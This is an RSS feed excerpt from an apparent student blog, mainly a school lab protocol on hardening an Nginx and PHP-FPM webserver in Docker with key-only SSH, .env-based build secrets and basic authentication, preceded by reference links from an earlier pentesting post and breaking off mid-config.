<p>Nmap. Timing Templates (-T). <a href="https://nmap.org/book/performance-timing-templates.html">source</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>10-million-password-list-top-10000.txt. <a href="https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/10-million-password-list-top-10000.txt">source</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>Code Zen. Defeating HTTP Basic Auth with Hydra. <a href="https://tylerrockwell.github.io/defeating-basic-auth-with-hydra">source</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>GeeksforGeeks. How to use Hydra to BruteForce SSH Connections? <a href="https://www.geeksforgeeks.org/how-to-use-hydra-to-brute-force-ssh-connections">source</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>Ask Ubuntu. What does 2&gt;/dev/null mean? <a href="https://askubuntu.com/questions/350208/what-does-2-dev-null-mean">source</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>GeeksforGeeks. find command in Linux Linux Tutorial. <a href="https://www.geeksforgeeks.org/find-command-in-linux-with-examples">source</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>Uppin, C. M. Series of CTF machines Walkthrough #4 Linux Privilege Escalation (Enumeration). <a href="https://medium.com/techiepedia/series-of-ctf-machines-walkthrough-4-linux-privilege-escalation-enumeration-247899027be">source</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p>Delinea. Linux Privilege Escalation. <a href="https://delinea.com/blog/linux-privilege-escalation">source</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p>Uppin, C. M. Series of CTF machines Walkthrough #5 Linux Privilege Escalation using Kernel Exploit. <a href="https://cmuppin9.medium.com/series-of-ctf-machines-walkthrough-5-linux-privilege-escalation-using-kernel-exploit-e188970fb905">source</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p>Uppin, C. M. Series of CTF machines Walkthrough #7 Linux Privilege Escalation using SUID permissions. <a href="https://cmuppin9.medium.com/series-of-ctf-machines-walkthrough-7-linux-privilege-escalation-using-suid-permissions-7f82335e7547">source</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p>Uppin, C. M. Series of CTF machines Walkthrough #6 Linux Privilege Escalation using SUDO permissions. <a href="https://cmuppin9.medium.com/series-of-ctf-machines-walkthrough-6-linux-privilege-escalation-using-sudo-permissions-c517cb789bc6">source</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p>linux-smart-enumeration. <a href="https://github.com/diego-treitos/linux-smart-enumeration">source</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p>Qualys Corporation. Linux Kernel - &rsquo;ldso_hwcap Stack Clash&rsquo; Local Privilege Escalation. <a href="https://www.exploit-db.com/exploits/42274">source</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p>metasploit-framework/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md at master · rapid7/metasploit-framework. <a href="https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md">source</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:18">
<p>drd_. Null Byte. <a href="https://null-byte.wonderhowto.com/how-to/get-root-with-metasploits-local-exploit-suggester-0199463">source</a>&#160;<a href="#fnref:18" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:19">
<p>Metasploit Documentation. How to use msfvenom. <a href="https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html">source</a>&#160;<a href="#fnref:19" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:20">
<p>LinuxConfig. Recover - Reset Forgotten Linux Root Password. <a href="https://linuxconfig.org/recover-reset-forgotten-linux-root-password">source</a>&#160;<a href="#fnref:20" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Hardening a Linux Webserver</title><link>https://0xveya.github.io/posts/itsi/year-3/exercise-6/linux-hadening-nginx/</link><pubDate>Sat, 04 Jan 2025 03:33:09 +0100</pubDate><guid>https://0xveya.github.io/posts/itsi/year-3/exercise-6/linux-hadening-nginx/</guid><description>&lt;blockquote>
&lt;p>Note: this was converted from LaTeX to Markdown using ChatGPT 4.1. The original PDF can be found &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex6/GNU_Linux_Securing_Active_Components.pdf">here&lt;/a> along with the &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex6/quellen.bib">bibliography&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;hr>
&lt;h1 id="exercise-6-gnulinux---securing-active-components">Exercise 6: GNU/Linux - Securing active components&lt;/h1>
&lt;hr>
&lt;p>&lt;strong>Laboratory protocol&lt;/strong>&lt;br>
Exercise 6: GNU/Linux - Securing active components&lt;br>
&lt;figure>
&lt;img loading="lazy" src="https://0xveya.github.io/itsi/y3/ex6/images/mika.png"/> &lt;figcaption>
Figure: Grouplogo
&lt;/figcaption>
&lt;/figure>
&lt;strong>Subject:&lt;/strong> ITSI&lt;br>
&lt;strong>Class:&lt;/strong> 3AHITN&lt;br>
&lt;strong>Name:&lt;/strong> Stefan Fürst, Marcel Raichle&lt;br>
&lt;strong>Group Name/Number:&lt;/strong> Team 7/7&lt;br>
&lt;strong>Supervisor:&lt;/strong> SPAC, ZIVK&lt;br>
&lt;strong>Exercise dates:&lt;/strong> 6.12.2024, 13.12.2024, 20.12.2024, 3.1.2025, 4.1.2025, 5.1.2025&lt;br>
&lt;strong>Submission date:&lt;/strong> 4.1.2025&lt;/p>
&lt;hr>
&lt;h2 id="table-of-contents">Table of Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#task-definition">Task definition&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#task-0---preparation">Task 0 - Preparation&lt;/a>&lt;/li>
&lt;li>&lt;a href="#task-1--installing-a-web-server">Task 1 – Installing a Web Server&lt;/a>&lt;/li>
&lt;li>&lt;a href="#task-2--securing-with-basic-authentication">Task 2 – Securing with Basic Authentication&lt;/a>&lt;/li>
&lt;li>&lt;a href="#task-3--encrypting-with-https">Task 3 – Encrypting with HTTPS&lt;/a>&lt;/li>
&lt;li>&lt;a href="#bonus-task--local-dns-setup-optional">Bonus Task – Local DNS Setup (Optional)&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#summary">Summary&lt;/a>&lt;/li>
&lt;li>&lt;a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exercise-execution">Exercise Execution&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#preparation">Preparation&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#testing-the-ssh-connectivity">Testing the SSH connectivity&lt;/a>&lt;/li>
&lt;li>&lt;a href="#changes-to-the-docker-setup">Changes to the Docker setup&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#installing-an-active-component">Installing an active component&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#setting-up-php-fpm-with-nginx">Setting up PHP-FPM with Nginx&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#securing-nginx-with-basic-authentication">Securing Nginx with Basic Authentication&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#creating-a-password-file">Creating a Password File&lt;/a>&lt;/li>
&lt;li>&lt;a href="#configuring-the-authentication-in-nginx-and-testing-it">Configuring the authentication in Nginx and testing it&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#configuring-https-with-self-signed-certificates">Configuring HTTPS with Self-Signed Certificates&lt;/a>&lt;/li>
&lt;li>&lt;a href="#adding-a-domain">Adding a Domain&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#references">References&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="task-definition">Task definition&lt;/h2>
&lt;p>&lt;strong>Task 0 - Preparation&lt;/strong>&lt;br>
Ensure your server from Exercises 4 and 5 is configured with SSH. Verify that you can connect to the server via SSH using a client with a GUI.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>Note: this was converted from LaTeX to Markdown using ChatGPT 4.1. The original PDF can be found <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex6/GNU_Linux_Securing_Active_Components.pdf">here</a> along with the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex6/quellen.bib">bibliography</a>.</p></blockquote>
<hr>
<h1 id="exercise-6-gnulinux---securing-active-components">Exercise 6: GNU/Linux - Securing active components</h1>
<hr>
<p><strong>Laboratory protocol</strong><br>
Exercise 6: GNU/Linux - Securing active components<br>
<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/mika.png"/> <figcaption>
            Figure: Grouplogo
        </figcaption>
</figure>

<strong>Subject:</strong> ITSI<br>
<strong>Class:</strong> 3AHITN<br>
<strong>Name:</strong> Stefan Fürst, Marcel Raichle<br>
<strong>Group Name/Number:</strong> Team 7/7<br>
<strong>Supervisor:</strong> SPAC, ZIVK<br>
<strong>Exercise dates:</strong> 6.12.2024, 13.12.2024, 20.12.2024, 3.1.2025, 4.1.2025, 5.1.2025<br>
<strong>Submission date:</strong> 4.1.2025</p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#task-definition">Task definition</a>
<ul>
<li><a href="#task-0---preparation">Task 0 - Preparation</a></li>
<li><a href="#task-1--installing-a-web-server">Task 1 – Installing a Web Server</a></li>
<li><a href="#task-2--securing-with-basic-authentication">Task 2 – Securing with Basic Authentication</a></li>
<li><a href="#task-3--encrypting-with-https">Task 3 – Encrypting with HTTPS</a></li>
<li><a href="#bonus-task--local-dns-setup-optional">Bonus Task – Local DNS Setup (Optional)</a></li>
</ul>
</li>
<li><a href="#summary">Summary</a></li>
<li><a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise</a></li>
<li><a href="#exercise-execution">Exercise Execution</a>
<ul>
<li><a href="#preparation">Preparation</a>
<ul>
<li><a href="#testing-the-ssh-connectivity">Testing the SSH connectivity</a></li>
<li><a href="#changes-to-the-docker-setup">Changes to the Docker setup</a></li>
</ul>
</li>
<li><a href="#installing-an-active-component">Installing an active component</a>
<ul>
<li><a href="#setting-up-php-fpm-with-nginx">Setting up PHP-FPM with Nginx</a></li>
</ul>
</li>
<li><a href="#securing-nginx-with-basic-authentication">Securing Nginx with Basic Authentication</a>
<ul>
<li><a href="#creating-a-password-file">Creating a Password File</a></li>
<li><a href="#configuring-the-authentication-in-nginx-and-testing-it">Configuring the authentication in Nginx and testing it</a></li>
</ul>
</li>
<li><a href="#configuring-https-with-self-signed-certificates">Configuring HTTPS with Self-Signed Certificates</a></li>
<li><a href="#adding-a-domain">Adding a Domain</a></li>
</ul>
</li>
<li><a href="#references">References</a></li>
</ul>
<hr>
<h2 id="task-definition">Task definition</h2>
<p><strong>Task 0 - Preparation</strong><br>
Ensure your server from Exercises 4 and 5 is configured with SSH. Verify that you can connect to the server via SSH using a client with a GUI.</p>
<p><strong>Task 1 – Installing a Web Server</strong><br>
Install a web server (e.g., Apache or Nginx) and deploy a static HTML page displaying your group number, team members, and an AI-generated image. (Bonus: Deploy a dynamic PHP page.) Demonstrate access to the page from a client browser.</p>
<p><strong>Task 2 – Securing with Basic Authentication</strong><br>
Set up Basic Authentication on the server. Create user accounts in the format <code>nnv-webuser</code> and for your instructors (e.g., <code>zivk-webuser</code>). Demonstrate authentication functionality. (Bonus: Capture the password using Wireshark.)</p>
<p><strong>Task 3 – Encrypting with HTTPS</strong><br>
Enable HTTPS with a self-signed certificate, including your group number. Demonstrate encrypted access and explain potential issues. Install the certificate on a client to show why this action is not required in the public internet.</p>
<p><strong>Bonus Task – Local DNS Setup (Optional)</strong><br>
Set up DNS on the server using <code>bind9</code> for local access via <code>xxx.itsi3.local</code>. Demonstrate DNS resolution and access the website by domain name.<cite>ChatGPT<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></cite></p>
<hr>
<h2 id="summary">Summary</h2>
<p>As preparation for the exercise, I optimized the Docker workflow by using Docker Compose for easier management, improved the readability of the Dockerfile, and, most importantly, created a <code>.env</code> file along with a build script that utilizes it, so I no longer hardcode my passwords in the Dockerfile. Additionally, I disabled password authentication and now copy the <code>authorized_keys</code> file into the container, allowing for key-based authentication from the start and enabling me to disable password authentication.</p>
<p>We need to install a web server, for which I chose <code>nginx</code>. I used it in conjunction with <code>php-fpm</code> to deploy a dynamic PHP webpage. The webpage includes our group number, names, and an AI-generated image. However, since this information should only be accessible with credentials, I implemented Basic Authentication to secure it. For this, the <code>apache2-utils</code> package was used to generate a <code>.htpasswd</code> file containing the credentials.</p>
<p>We demonstrated with Wireshark that the credentials were transmitted in plain text while using HTTP. To address this, a self-signed SSL certificate was generated using <code>openssl</code>, with the group number included in the <code>OU</code> field of the certificate. The server was then configured to use HTTPS. We showed that the credentials could no longer be read with Wireshark, as the traffic was now encrypted.</p>
<p>Lastly, we set up a domain, created a DNS record to point to the server, and generated a proper SSL certificate with Let&rsquo;s Encrypt, ensuring it is trusted and does not display a warning in the browser.</p>
<hr>
<h2 id="complete-network-topology-of-the-exercise">Complete network topology of the exercise</h2>
<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/topology.png"/> <figcaption>
            Figure 1: Network topology of this exercise
        </figcaption>
</figure>

<hr>
<h2 id="exercise-execution">Exercise Execution</h2>
<h3 id="preparation">Preparation</h3>
<p>The requirements for this exercise are a headless Linux server with hardened SSH, which only allows connections via key pairs. However, I removed the OTP authentication added in the last exercise, as it was overkill for this use case and became a burden to use.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/sshnopw.png"/> <figcaption>
            Figure 2: Password authentication disabled
        </figcaption>
</figure>

<h4 id="testing-the-ssh-connectivity">Testing the SSH connectivity</h4>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/nokey.png"/> <figcaption>
            Figure 3: No SSH key available
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/yeskey.png"/> <figcaption>
            Figure 4: ram-fus authenticating via SSH key
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/yeskey2.png"/> <figcaption>
            Figure 5: ram-ram authenticating via SSH key
        </figcaption>
</figure>
</p>
<hr>
<h4 id="changes-to-the-docker-setup">Changes to the Docker setup</h4>
<p>To improve the quality of life when working on this project, I switched from aliasing a long and hard-to-read run command to using Docker Compose, which allows you to define and run multi-container applications. Since it&rsquo;s in a YAML file, it is more readable and easier to work with, even in this use case where I only have one container.<cite>Docker-Compose<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></cite></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">webserver</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">itsi</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">image</span>: <span style="color:#ae81ff">itsi:latest</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">restart</span>: <span style="color:#66d9ef">no</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#e6db74">&#34;38452:38452&#34;</span>
</span></span><span style="display:flex;"><span>        - <span style="color:#e6db74">&#34;80:80&#34;</span>
</span></span><span style="display:flex;"><span>        - <span style="color:#e6db74">&#34;443:443&#34;</span>
</span></span></code></pre></div><p>Furthermore, instead of having all of the credentials in the Dockerfile, I created a <code>.env</code> file in which the passwords are set. To utilize that, I made a build script that passes the variables from the file to the Dockerfile.<cite>docker-arg<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></cite></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>export <span style="color:#66d9ef">$(</span>cat .env | xargs<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>docker buildx build -t itsi:latest<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>	--build-arg ROOT_PW<span style="color:#f92672">=</span>$ROOT_PW <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>	--build-arg RAM_WEBUSER_PW<span style="color:#f92672">=</span>$RAM_WEBUSER_PW <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>	--build-arg ZIVK_WEBUSER_PW<span style="color:#f92672">=</span>$ZIVK_WEBUSER_PW <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>	--build-arg RAM_FUS_PW<span style="color:#f92672">=</span>$RAM_FUS_PW <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>	--build-arg RAM_RAM_PW<span style="color:#f92672">=</span>$RAM_RAM_PW <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>	--build-arg RAM_ALOIS_PW<span style="color:#f92672">=</span>$RAM_ALOIS_PW <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>	--build-arg RAM_CHRIS_PW<span style="color:#f92672">=</span>$RAM_CHRIS_PW <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>	--build-arg RAM_BERTA_PW<span style="color:#f92672">=</span>$RAM_BERTA_PW .
</span></span></code></pre></div><p>These build-time arguments are referenced in the Dockerfile like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">ARG</span> ROOT_PW<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ARG</span> RAM_WEBUSER_PW<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ARG</span> ZIVK_WEBUSER_PW<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ARG</span> RAM_FUS_PW<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ARG</span> RAM_RAM_PW<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ARG</span> RAM_ALOIS_PW<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ARG</span> RAM_CHRIS_PW<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ARG</span> RAM_BERTA_PW<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>...<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#39;root:$ROOT_PW&#39;</span> | chpasswd<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>...<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Here is what the <code>.env</code> file looks like for this project:</p>
<pre tabindex="0"><code>ROOT_PW=&#39;some password&#39;
...
</code></pre><p>Note that the quotes are only necessary if the password contains characters like <code>&amp;</code>, which the shell will interpret.</p>
<p>With this change, I can add the <code>.env</code> file to my <code>.gitignore</code> file so I don&rsquo;t accidentally commit my passwords again and handle passwords in a Dockerfile properly.</p>
<p>To still utilize my alias script, I changed every instance of <code>docker run</code> to <code>docker compose up -d</code>, <code>docker stop itsi &amp;&amp; docker rm itsi</code> to <code>docker compose down</code>, and added the use of the build script to it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>alias relaunch<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sh -c &#39;docker stop itsi &amp;&amp; docker rm itsi &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">		       ./build.sh &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">		       docker compose up -d &amp;&amp; docker exec -it itsi /bin/bash&#39;&#34;</span>
</span></span><span style="display:flex;"><span>alias rebuild<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sh -c &#39;./build.sh &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                      docker compose up -d &amp;&amp; docker exec -it itsi /bin/bash&#39;&#34;</span>
</span></span><span style="display:flex;"><span>alias stop<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sh -c &#39;docker compose down&#39;&#34;</span>
</span></span></code></pre></div><p>Furthermore, instead of having to upload my container every time I rebuild, I added these three lines to copy the <code>authorized_keys</code> file with the devices I use to the container, so that every time I relaunch, I can just immediately SSH into it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">COPY</span> ./mapped-files/authorized_keys /root/.ssh/authorized_keys<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">COPY</span> ./mapped-files/authorized_keys /home/ram-fus/.ssh/authorized_keys<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">COPY</span> ./mapped-files/authorized_keys /home/ram-ram/.ssh/authorized_keys<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Lastly, the line in the Dockerfile that specifies the exposed ports is edited to expose ports 80 and 443, as they will be required for this exercise.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">EXPOSE</span><span style="color:#e6db74"> 38452 80 443</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><hr>
<h3 id="installing-an-active-component">Installing an active component</h3>
<p>Now, it&rsquo;s required to install a web server. I chose Nginx because I am most familiar with it, and due to its high performance and simplicity of use.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> apt install -y nginx<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>...<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">CMD</span> service ssh start <span style="color:#f92672">&amp;&amp;</span> service nginx start <span style="color:#f92672">&amp;&amp;</span> tail -F /dev/null<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>After modifying the Dockerfile, rebuilding, and redeploying, if we now open the web browser and go to the server&rsquo;s IP, we see the following.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex6/images/nginx.png"/> <figcaption>
            Figure 6: Default nginx site
        </figcaption>
</figure>

<p>The HTML site displayed is located at <code>/var/www/html/index.nginx-debian.html</code>.<br>
Additionally, I replaced the <code>/var/www/html</code> directory with <code>/var/www/metyr.xyz</code>, in which I have the following file structure:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#e6db74">`</span>-- html
</span></span><span style="display:flex;"><span>   |-- private
</span></span><span style="display:flex;"><span>   |   <span style="color:#e6db74">`</span>-- private.php
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">`</span>-- public
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">`</span>-- index.php
</span></span></code></pre></div><p>These two directories are mapped onto the Docker container in the <code>docker-compose.yml</code> file, as shown below. Since they are mapped, every time the files are changed on the host, the changes carry over to the container, allowing for an easy and fast development workflow without the need to exec into the container or copy the files when creating the image.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#ae81ff">./mapped-files/public:/var/www/html/public:rw</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#ae81ff">./mapped-files/private:/var/www/html/private:rw</span>
</span></span></code></pre></div><p>Additionally, I edited the Dockerfile to delete the default Nginx configuration file, located at <code>/etc/nginx/sites-enabled/default</code>, a symlink to the file <code>/etc/nginx/sites-available/default.conf</code>, and replaced it with one matching my domain name for better readability.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> rm -rf /var/www/html/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> mkdir -p /var/www/metyr.xyz/html<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> rm /etc/nginx/sites-available/default<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> rm /etc/nginx/sites-enabled/default<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">COPY</span> ./mapped-files/metyr.xyz /etc/nginx/sites-available/metyr.xyz<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> ln -s /etc/nginx/sites-available/metyr.xyz /etc/nginx/sites-enabled/metyr.xyz<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><hr>
<h4 id="setting-up-php-fpm-with-nginx">Setting up PHP-FPM with Nginx</h4>
<p>To give Nginx the ability to serve PHP files, the <code>php-fpm</code> (FastCGI Process Manager) package is required.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server{</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">...</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">index</span> <span style="color:#e6db74">public/index.php</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">location</span> ~ <span style="color:#e6db74">\.php$</span> {
